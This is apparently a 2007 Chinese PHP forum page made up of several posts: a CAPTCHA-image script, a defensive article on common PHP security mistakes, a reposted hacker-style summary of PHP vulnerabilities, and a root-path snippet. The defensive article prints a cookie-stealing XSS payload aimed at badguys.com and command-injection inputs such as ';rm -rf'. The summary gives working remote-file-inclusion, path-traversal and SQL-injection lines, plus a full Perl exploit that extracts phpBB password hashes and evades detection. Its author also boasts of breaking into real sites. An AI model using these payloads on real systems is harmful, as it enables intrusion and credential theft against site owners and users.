*某些别有用心的人不要借题发挥!
*Power by ZendStudio.Net
*(http://www.zendstudio.net/)
*********************************/
session_start();
header("Content-type: image/PNG");
$w=180;
$h=60;
$fontface="heiti.ttf"; //字体文件
$str = "们以我到他会作时要动国产的一是工就年阶义发成部民可出能方进在了不和有大这主中人上为来分生对于学下级地个用同行面说种过命度革而多子后自社加小机也经力线本电高量长党得实家定深法表着水理化争现所二起政三好十战无农使性前等反体合斗路图把结第里正新开论之物从当两些还天资事队批点育重其思与间内去因件日利相由压员气业代全组数果期导平各基或月毛然如应形想制心样干都向变关问比展那它最及外没看治提五解系林者米群头意只明四道马认次文通但条较克又公孔领军流入接席位情运器并飞原油放立题质指建区验活众很教决特此常石强极土少已根共直团统式转别造切九你取西持总料连任志观调七么山程百报更见必真保热委手改管处己将修支识病象几先老光专什六型具示复安带每东增则完风回南广劳轮科北打积车计给节做务被整联步类集号列温装即毫知轴研单色坚据速防史拉世设达尔场织历花受求传口断况采精金界品判参层止边清至万确究书术状厂须离再目海交权且儿青才证低越际八试规斯近注办布门铁需走议县兵固除般引齿千胜细影济白格效置推空配刀叶率述今选养德话查差半敌始片施响收华觉备名红续均药标记难存测士身紧液派准斤角降维板许破述技消底床田势端感往神便贺村构照容非搞亚磨族火段算适讲按值美态黄易彪服早班麦削信排台声该击素张密害侯草何树肥继右属市严径螺检左页抗苏显苦英快称坏移约巴材省黑武培著河帝仅针怎植京助升王眼她抓含苗副杂普谈围食射源例致酸旧却充足短划剂宣环落首尺波承粉践府鱼随考刻靠够满夫失包住促枝局菌杆周护岩师举曲春元超负砂封换太模贫减阳扬江析亩木言球朝医校古呢稻宋听唯输滑站另卫字鼓刚写刘微略范供阿块某功套友限项余倒卷创律雨让骨远帮初皮播优占死毒圈伟季训控激找叫云互跟裂粮粒母练塞钢顶策双留误础吸阻故寸盾晚丝女散焊功株亲院冷彻弹错散商视艺灭版烈零室轻血倍缺厘泵察绝富城冲喷壤简否柱李望盘磁雄似困巩益洲脱投送奴侧润盖挥距触星松送获兴独官混纪依未突架宽冬章湿偏纹吃执阀矿寨责熟稳夺硬价努翻奇甲预职评读背协损棉侵灰虽矛厚罗泥辟告卵箱掌氧恩爱停曾溶营终纲孟钱待尽俄缩沙退陈讨奋械载胞幼哪剥迫旋征槽倒握担仍呀鲜吧卡粗介钻逐弱脚怕盐末阴丰雾冠丙街莱贝辐肠付吉渗瑞惊顿挤秒悬姆烂森糖圣凹陶词迟蚕亿矩康遵牧遭幅园腔订香肉弟屋敏恢忘编印蜂急拿扩伤飞露核缘游振操央伍域甚迅辉异序免纸夜乡久隶缸夹念兰映沟乙吗儒杀汽磷艰晶插埃燃欢铁补咱芽永瓦倾阵碳演威附牙芽永瓦斜灌欧献顺猪洋腐请透司危括脉宜笑若尾束壮暴企菜穗楚汉愈绿拖牛份染既秋遍锻玉夏疗尖殖井费州访吹荣铜沿替滚客召旱悟刺脑措贯藏敢令隙炉壳硫煤迎铸粘探临薄旬善福纵择礼愿伏残雷延烟句纯渐耕跑泽慢栽鲁赤繁境潮横掉锥希池败船假亮谓托伙哲怀割摆贡呈劲财仪沉炼麻罪祖息车穿货销齐鼠抽画饲龙库守筑房歌寒喜哥洗蚀废纳腹乎录镜妇恶脂庄擦险赞钟摇典柄辩竹谷卖乱虚桥奥伯赶垂途额壁网截野遗静谋弄挂课镇妄盛耐援扎虑键归符庆聚绕摩忙舞遇索顾胶羊湖钉仁音迹碎伸灯避泛亡答勇频皇柳哈揭甘诺概宪浓岛袭谁洪谢炮浇斑讯懂灵蛋闭孩释乳巨徒私银伊景坦累匀霉杜乐勒隔弯绩招绍胡呼痛峰零柴簧午跳居尚丁秦稍追梁折耗碱殊岗挖氏刃剧堆赫荷胸衡勤膜篇登驻案刊秧缓凸役剪川雪链渔啦脸户洛孢勃盟买杨宗焦赛旗滤硅炭股坐蒸凝竟陷枪黎救冒暗洞犯筒您宋弧爆谬涂味津臂障褐陆啊健尊豆拔莫抵桑坡缝警挑污冰柬嘴啥饭塑寄赵喊垫丹渡耳刨虎笔稀昆浪萨茶滴浅拥穴覆伦娘吨浸袖珠雌妈紫戏塔锤震岁貌洁剖牢锋疑霸闪埔猛诉刷狠忽灾闹乔唐漏闻沈熔氯荒茎男凡抢像浆旁玻亦忠唱蒙予纷捕锁尤乘乌智淡允叛畜俘摸锈扫毕璃宝芯爷鉴秘净蒋钙肩腾枯抛轨堂拌爸循诱祝励肯酒绳穷塘燥泡袋朗喂铝软渠颗惯贸粪综墙趋彼届墨碍启逆卸航衣孙龄岭骗休借";
$code="";
for($i=0;$i<4;$i++){
$Xi=mt_rand(0,strlen($str)/2);
if($Xi%2) $Xi+=1;
$code.=substr($str,$Xi,2);
}
$_SESSION['code']=$code;
$im=imagecreatetruecolor($w,$h);
$bkcolor=imagecolorallocate($im,250,250,250);
imagefill($im,0,0,$bkcolor);
/***添加干扰***/
for($i=0;$i<15;$i++){
$fontcolor=imagecolorallocate($im,mt_rand(0,255),mt_rand(0,255),mt_rand(0,255));
imagearc($im,mt_rand(-10,$w),mt_rand(-10,$h),mt_rand(30,300),mt_rand(20,200),55,44,$fontcolor);
}
for($i=0;$i<255;$i++){
$fontcolor=imagecolorallocate($im,mt_rand(0,255),mt_rand(0,255),mt_rand(0,255));
imagesetpixel($im,mt_rand(0,$w),mt_rand(0,$h),$fontcolor);
}
/***********内容*********/
for($i=0;$i<4;$i++){
$fontcolor=imagecolorallocate($im,mt_rand(0,120),mt_rand(0,120),mt_rand(0,120)); //这样保证随机出来的颜色较深。
$codex=iconv("GB2312","UTF-8",substr($code,$i*2,2));
imagettftext($im,mt_rand(20,24),mt_rand(-60,60),40*$i+20,mt_rand(30,35),$fontcolor,$fontface,$codex);
}
imagepng($im);
?>
[/php]
本文最早发布于我的BLOG,转载请注明出处,谢谢!
原文地址:http://www.zendstudio.net/read.php/40.htm
[ 本帖最后由 gently 于 2007-7-25 11:46 编辑 ] -
PHP 的 7 大安全错误(中文版)
avinmo 发布于 2007-10-02 11:46:20
为了适应动态网站的迅速发展,PHP 是一个极好的语言选择。对初学者它有很多友好的特性,例如不需要声明变量类型。同时,这些特性也会使开发者无意之中在程序里留下安全漏洞。一些流行的安全相关的邮件列表描述了很多 PHP 应用程序的漏洞,但是只要明白了容易犯的基本安全错误,PHP可以像其他任何语言一样安全。
再这篇文章里,我会详细的阐述一些经常导致安全漏洞的 PHP 编程错误。在告诉你不该做什么和每一个漏洞是怎么产生的时候,我希望你不仅能理解怎样去避免这些错误,而且也能明白为什么会产生这些安全漏洞。明白了每一个潜在的安全漏洞会帮助你避免再犯同样的错误。
安全措施是一个过程,不是一个产物。在开发过程中采用一个好的安全处理方法会让你写出更严谨和健壮的代码。
未经验证的输入PHP 中最常见的安全隐患之一是没有经过验证的输入错误。用户提供的数据通常是不能信任的,所以应当假设每一个 web 访问者怀有恶意—事实上他们当中确实有一些是这样的。没有经过验证或者验证不当的输入是其他许多溢出错误的根源。
举一个例子,你可能会用下面的代码调用 UNIX 的 cal 命令实现月历功能
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
这段代码由一个很大的漏洞,$_GET[month] 和 $_GET[year] 变量没有经过任何验证。只要输入的月份是介于 1 和 12 之间的数字并且年份是一个 4 位数字,这段代码运行良好。但是,恶意的用户只要在年份的后面加上 ';ls -la' 就会列出整个网站的 Web 目录。同样另一个相当危险的漏洞,';rm -rf' 的后缀会删除所有的网页。
正确的处理方法是确保你得到的数据是你预期的。不要用 Javascrīpt 来验证,恶意用户会创建自己的表单来禁用 javascrīpt,因此会很容易的绕过验证。正如下面列出的,你必须用 PHP 代码确保月份和年份的输入是数字,并且只能是数字。
$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
这些代码可以安全的使用,并且不用担心用户的输入是否会危及到应用程序和服务器的安全。正则表达式是检验输入的很好的工具,虽然他们不容易掌握,但在这方面确实非常有用。
你应当在验证用户数据时把所有非预期的数据剔除掉,而不是仅仅剔除有危害的数据—这是经常见的安全漏洞原因。有时,恶意用户会绕过这些常用的验证方法,例如输入一些带有 NULL 的非法数据。这些做法通常会绕过检验,但仍然会对安全产生威胁。
你应当尽可能严格的检验输入的数据。如果有些字符不会被用到,那么就应该剔除掉或者拒绝此次的全部输入。
权限控制漏洞另一种易受安全威胁的就是权限控制,虽然并非只针对 PHP,但仍然是不容忽视的。这种隐患通常存在于针对特定用户的应用程序,例如后台管理这样可以修改配置或者显示敏感数据的地方。
你应当在每一个针对特定用户的页面检查用户的权限级别。如果只在首页检查,那么一个恶意用户就可以直接在地址栏里输入通过检查之后调用的页面,这样就可以跳过身份验证。
对安全分级是非常明智的,如果你的用户 IP 是固定的或者在特定范围之内,那么就可以根据用户的 IP 和用户名对权限做出控制。把特定的页面放在特定的目录,并用 apache 的 .htaccess 保护起来,是非常好的做法。
把保存配置的文件放在 Web 目录之外。一个配置文件可以保存数据库密码或者其他可以让恶意用户入侵或修改网站的重要信息;绝对不要让这些文件可以被远程用户访问到。用 PHP 的 include 函数包含 web 目录之外的文件,这些目录里也要放一个含有 'deny from all' 的 .htaccess 文件,防止管理员的疏忽而让这些目录称为 web 目录。虽然这显得有些多余,但对于安全仍然是一个积极的做法。
在我做的 PHP 程序当中,我比较喜欢下面列出的目录结构。所有的函数库,类文件和配置文件都放在 include 目录里。这些文件都要以 .php 结尾,目的就是在保护措施失效的情况下,Web 服务器会对这些文件解析,而不是直接显示出内容。www 和 admin 目录是唯一两个可以通过URL直接访问的目录; admin 目录通过 .htaccess 保护,只允许知道用户名和密码的用户进入,这些用户名和密码都保存在根目录的 .htpasswd 文件中。
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php
你应当设置 Apache 的索引文件为 index.php,并且在每一个目录里都放置一个 index.php 文件。那些不可以浏览目录里的 index.php 文件都应当指向你的主页,例如放置图片的目录的 index.php 等。
绝对不要在 web 目录里存放 .bak 结尾的备份文件或以其他扩展名结尾的文件。根据不同的 web 服务器,上述文件类型中所包含的 PHP 代码不会被服务器解析,很可能会直接向用户输出源代码。如果这些文件包含密码或者其他敏感信息,那么这些信息将是可读的—如果被 Google 的机器人捕捉到,这些信息很可能会被列入搜索引擎的索引中。将 .php 后缀到 .bak 文件比相反的做法更安全,但最好的解决办法是用一个源码版本控制系统如 CVS。学习 CVS 可能会复杂一些,但这是值得的,这个系统可以保护每一个版本的每一个文件。
会话ID的保护截获会话 Id 可以说是 PHP 网站所面临的一个问题。PHP 的会话跟踪系统使用一个唯一 ID,如果这个 ID 被其他用户得到,那么这个用户就可以截获这个会话进而看到一些私密信息。截获会话 ID 通常很难完全避免;你必须明白它的危险来尽可能的减少这种隐患。
例如,即使在一个用户经过身份验证并分配了一个会话 ID 之后,在它执行一个高度敏感的动作例如修改密码时,仍然要重新验证身份。绝对不要让一个仅通过会话验证的用户在不输入旧密码的情况下去修改密码。你也应当避免直接向一个仅通过会话ID验证的用户显示高度敏感的数据,例如信用卡号。
一个用户在登录网站之后应当通过 session_regenerate_id 分配一个新的会话 ID。这样就可以阻止一个恶意用户会用以前的会话 ID 去尝试登录。
如果你的网站会处理一些像信用卡密码这样的机密信息,那么一定要使用 SSL 连接。这样会话 ID 不会被探嗅到而且不容易被截获,就可以减少会话截获的危险。
如果你的站点运行在一个共享主机上,需要注意会话变量可以很容易的被同一服务器上的其他用户浏览。为了减少此类风险,可以把敏感的数据以会话 ID 为主键保存在数据库中,这样比直接保存在会话变量中要好的多。如果必须要在会话变量中保存密码(我还是要强调尽量避免这样做),不要直接保存密码的明文,用sha1或者md5函数加密后保存在会话变量中。
if ($_SESSION['password'] == $userpass) {
// do sensitive things here
}
上面的代码把密码以平文保存在会话变量中,这样是不安全的。应该这样作:
if ($_SESSION['sha1password'] == sha1($userpass)) {
// do sensitive things here
}
SHA-1 算法并不是一点风险也没有,随着计算机计算能力的不断加强,使得用“碰撞”的暴力方法可以破解。但是这样的技术仍然要比直接保存密码的明文好的多。如果必须,可以用MD5算法,它比明文保存密码安全,但最近的研究表明 MD5 的“碰撞”可以在一台普通 PC 上不到一个小时就可以算出。理论上,应当使用 SHA-256 这样的安全算法,但是这个算法目前并不被 PHP 默认支持,需要另外的扩展支持。
如果要获取更多关于散列碰撞的安全相关文章,Bruce Schneier's Website 是一个不错的站点。
跨站脚本攻击跨站脚本攻击或者 XSS,是恶意用户利用验证上的漏洞将脚本命令嵌入到可以显示的数据中,使其在另一个用户浏览时可以执行这些脚本命令。
例如,如果你的站点包含一个用户可以交流信息的论坛,一个恶意用户就会在发布的信息中嵌入<scrīpt>标签,如下文所示。这样网页首先会被重定向到一个被他们所控制的站点,将用户的cookie和会话信息通过GET变量传递到他们的网页,然后再指向论坛的网页,整个过程就像什么也没发生一样。这样恶意用户就会收集其他用户的cookie和会话信息,用来进行会话截获攻击或者其他破坏行为。
<scrīpt language="javascrīpt">
document.location = 'http://www.badguys.com/cgi-bin/cookie.php?' + document.cookie;
</scrīpt>
要阻止这样的攻击,首先要特别注意怎样显示用户提交的数据。最简单的方法就是将 HTML 语法的字符(特别注意<和>)转化为 HTML 实体,这样就可以将用户提交的数据转化为作为显示的文本。因此,只要在显示的时候将数据用 htmlspecialchars 函数过滤一下即可。
如果你的应用程序需要用户提交 HTML 的内容,并且将他们作为 HTML 来对待,你必须把像 <scrīpt> 这样危险的标记过滤掉。最好是在提交得时候就进行过滤,这需要一点正则表达式的知识。
SQL 注入的危险SQL 注入攻击是另一种输入验证上的漏洞。这种漏洞可以允许执行数据库命令。例如,在你的PHP脚本中,可能会要求用户输入用户 ID 和密码,然后通过数据库查询获得结果来检查用户 ID 和密码是否正确。
SELECT * FROM users WHERE name='$username' AND pass='$password';
但是,如果一个用户在登录时不怀好意,他可能会这样输入密码:
' OR '1'='1
执行数据库的命令就成为如下所示:
SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';
这样就会不经过密码验证而返回用户名——恶意用户就会任意选择用户名登录。为了避免这样的问题,应该对用户提交的数据进行危险字符的过滤,最主要的就是单引号(')的过滤。一个简单的方法就是用 addslashes 函数过滤。
$username = addslashes($_POST["username"]);
$password = addslashes($_POST["password"]);
但是根据你的 PHP 设置,也许可以不需要这样做。PHP 一个经常被争论的问题就是 magic quotes 在当前版本中默认设置为启用。这个特性——可以在 php.ini 文件中设置 magic_quotes_gpc 变量来禁用——会自动的对 GET,POST 和 cookie 变量进行 addslashes 过滤。这个特性是针对缺乏经验的开发者有可能留下上文所述的安全漏洞,但是在不需要过滤的情况下,会对性能产生一些负面影响。所以,大多数有经验的开发者都会关掉这个特性。
如果你是在共享主机上开发软件,可能会没有权限修改 php.ini,那么用函数检查 magic_quotes_gpc选项的设置,如果是启用,则将所有输入得数据用 stripslashes 函数过滤掉转义,然后再像往常一样对需要的数据进行 addslashes 过滤。
if (get_magic_quotes_gpc()){
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
}
通常SQL注入不会导致用户权限上的问题,只会允许恶意用户获得某些特定数据库和数据表中的内容。
你应当检查用户提交的所有数据,其中可能包含数据库命令用到的字符例如单引号,双引号,逗号,分号和括号。如果可能,对“FROM”,“LIKE”和“WHERE”这样的关键词进行不区分大小写的检查。这些都是SQL注入攻击中常用的字符和关键词,如果你不需要用到他们则将他们过滤调,这样此类攻击的危险就会大大降低。
错误报告你应当确保 php.ini 中 display_errors 重的设置为 0,否则,你的代码产生的任何错误,例如数据库连接错误,将会显示在最终用户面前。一个恶意用户只要输入一些非法数据然后观察、分析错误信息,就会获得程序内部运行机制的一些信息。
Display_errors 的值可以在运行期间通过 ini_set 函数来设置,但仍然不如通过在 php.ini 中设置。如果你的脚本发生了一个致命错误而终止了运行,那么ini_set函数就不会起作用,错误信息仍然会被显示。
为了替代直接显示错误信息,把 ini 中的 error_log 设为1,并且经常检查PHP的错误日志来获取错误信息。通常,你也可以写一个自己的错误处理函数来处理 PHP 中产生的错误,并可以用 email 通知你或者执行特定的一段 PHP 代码。在恶意用户知道一个可能的错误产生之前就将错误修复,这是一个明智的事先准备工作,。可以去PHP手册中的错误处理部分看一下 set_error_handler 函数的用法。
数据处理错误数据处理错误并非只针对 PHP,但 PHP 的开发人员仍然需要注意。此类错误通常是因为采用了不安全数据处理方法,而且会导致恶意用户对数据的监听或者修改。
最常见的数据处理错误就是将本来应该通过 HTTPS 传送的数据在未加密的 HTTP 上传输。信用卡密码和用户个人信息应该是作为私密的安全信息来处理,但是如果你通过普通的 HTTP 连接来传输用户名和密码,那么你也很可能用这种未加密的方式来传输那些敏感的数据。在你的应用程序和用户的浏览器通讯时,一定用SSL安全连接来传输敏感的信息。否则,恶意的监听者就可以在你的应用程序与最终用户之间的任何路由器上通过数据包探嗅到那些敏感的信息。
在使用 FTP 这种不安全的协议时会承担同样的风险。用 FTP 上传包含数据库用户名和密码的 PHP 文件到远程 WEB 服务器时,恶意的监听者就会通过探嗅数据包来获得密码。一定要用 SFTP 或者 SCP 协议来传输敏感的文件,也不要用 email 来传输敏感信息。对于任何有能力获得网络传输数据的人来说,email 的信息都是可读的。就像你不会把重要信息写在明信片的背面然后投到信箱里一样,你也不要用 email 来传递这些信息。虽然实际上这些信息被监听的机会很小,但是为什么要承担这个风险?
重要的一点就是尽可能的减少暴露数据处理错误的漏洞。例如,如果你的应用程序是一个在线商店,对那些 6 个月之前的信用卡号和订单还有必要保存么?将他们放在一个离线的机器上作为存档,并对这些数据的数量做一个限制防止万一这些机器被非法入侵。对于阻止入侵和减少安全威胁,或者是尽可能的减少一次成功黑客的攻击所带来的损失,这些都是最基本的原则。没有一个安全系统是完美的,所以不要存有侥幸心理。如果你存在入侵的风险一定要采取措施来减少损失。
配置PHP的安全选项通常来讲,通过最新发布的 PHP 来进行安装,比起之前发布的 PHP,都会获得更见安全的配置选项。你的应用程序也许会放在一个通过升级来获得最新 PHP 版本的 web 服务器上,但是 php.ini 没有升级。在这种情况下,默认设置也许就不会像新的安装一样安全。
你应当创建一个包含 phpinfo 函数的页面,列出你的 php.ini 变量来检查不安全的设置。把这个页面保存在特定的地方,不要让公共人员可以访问。phpinfo() 产生的信息会包含那些对黑客十分有用的信息。
配置PHP安全选项时下面是要考虑到的:
- Register_globals:
PHP 安全的最大杀手就是 register_globals。在 PHP 过去的版本中这个设置默认是为 on 的,但是在最近的版本中关掉了此项设置。这个选项可以把用户所有的输入作为全局变量,你所要做的就是检查这这项设置并且关掉它——没有但是,也没有例外,一定要这样做!这项设置是其他 PHP 安全漏洞最大的潜在隐患,如果你在使用共享主机但是却不能禁止 register_globals,那么就换一个空间服务商!
- Safe_mode:
阻止未授权的用户访问本地文件系统,这个选项是十分有用的。它只允许拥有此脚本的用户来执行读文件的操作。如果你的应用程序经常打开本地文件,记住要启用此项设置。
- Disable_functions:
这项设置不能在运行期间修改,只能在 php.ini 文件中设置。你可以在此项设置中创建一个函数列表来禁用这些函数。这样就能阻止潜在的危险的PHP代码的执行。 system和exec函数如果你用不到的话,就将他们禁用,因为这些函数允许执行内部其他程序。
持续学习新的漏洞和入侵一直都在被发现,所以对于以往的成功安全措施没有任何值得骄傲的地方,一定要有未雨绸缪的心态。正如我在文章开始所说,“安全措施是一个过程”,同样学习安全知识也是一个过程,你必须要牢牢掌握这些知识。
总结正如本文所述,像其他语言和平台一样,PHP 编程需要注意很多安全方面的问题。PHP 和其他许多编程语言一样,本身是十分安全的。最重要的就是有一个正确的安全理念,并且对 PHP 要相当熟悉。我希望你能喜欢这篇文章并且能从中获益。记住:对于安全问题,不要存在任何侥幸心理! - Register_globals:
-
[转]PHP网站漏洞的相关总结
CNI.F1 发布于 2007-12-15 13:21:42
从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.
我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:
<?php
include($include."/xxx.php");
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:
http://web/index.php?PHPSESSID="><scrīpt>...</scrīpt>在scrīpt里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有:myPHPNuke,McNews等等.
最后,我们又要回到最兴奋的地方了.想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空.曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞.(这些废话不多说了,有点跑题了...).还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了.将asc改成ASCII,len改成LENGTH,其他函数基本不变了.其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了.PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB.它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧.这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好.
好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得"topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4).
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick提供了下面的这断测试代码:
use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
$p = "";
for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # replace this for pgsql or remove it
print $socket "Host: $remote\n\n";
while ($answer = <$socket>)
{
if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num>
{
$p .= chr ();
}
}
close($socket);
}
print "\nMD5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = "";
for($i=0; $i<length($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ' ')
{
$ret .= "%" . sprintf("%x",ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql')
{
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
}
else
{
return "";
}
}
这断代码,我就不多做解释了.作用是获得HASH值.
看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的(希望学校网络中心的看不到这篇文章,^_^).把前面那函数用上吧.不然你只有改人家的密码了哦!!!
差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql数据库中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt
这样可以将数据库数据导出为文件,然后可以查看.
或是这样:mode=',user_level='4
这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.
其它的如' OR 1=1 -- 或者:1' or 1='1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.
其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨.黑客防线向来有攻有守.这里,就大致讲一下防范的方法吧.
首先,我个人认为最重要的一点是将magic_quotes_gpc高为ON,它的作用是将单引号,双引号,反斜线,和空字符转换为含有反斜线的字符,如select * from admin where username='$username' and password='$password'语句,攻击者想用1' or 1='1跳过验证,但是,那些字符串将被转换成这样:select * from admin where username='a' and password='1\' or 1=\'1'从而达到阻止注入的目的,事实也就是自动进行了addslashes()操作.再不行的话,自己定义函数处理吧.现在看来,那些搞PHP注入的人也比较郁闷,因为myslq4以下版本不支持子语句,而新版本的mysql又会将magic_quotes_gpc选项默认为开.
解决包含文件漏洞用的方法就是:要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定,建议设global_variables为off。如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:allow_url_fopen = Off(注:参见<<PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞>>).
还有一点我觉得很多网站都会有这个问题,就是没有关错误显示.轻一看可能没什么,但是一些盯了很久(用词有点不对哦)的人就可以通过错误提示来获得如数据库信息,网页文件物理路径等等。 -
定义项目根路径综合解决方法
jiania 发布于 2007-12-20 14:45:39
<?php
/**
* 定义项目根路径综合解决方法 PATH_ROOT
* 把下面代码放在你的项目全局环境中去
* @author Jiania J Hung jiania@gmail.com * @copyright http://www.jiania.com
*/
//举例 include/global.php
//方法一:
//define('PATH_ROOT',($PATH_ROOT =getcwd()) ? $PATH_ROOT : '..');//方法二:
define('PATH_ROOT',($PATH_ROOT =dirname(__FILE__))? $PATH_ROOT : '..');//方法三,比较差轻的方法
define('PATH_ROOT','手写项目路径');?
-
jiania->一卡通自动售检票系统技术管理规定
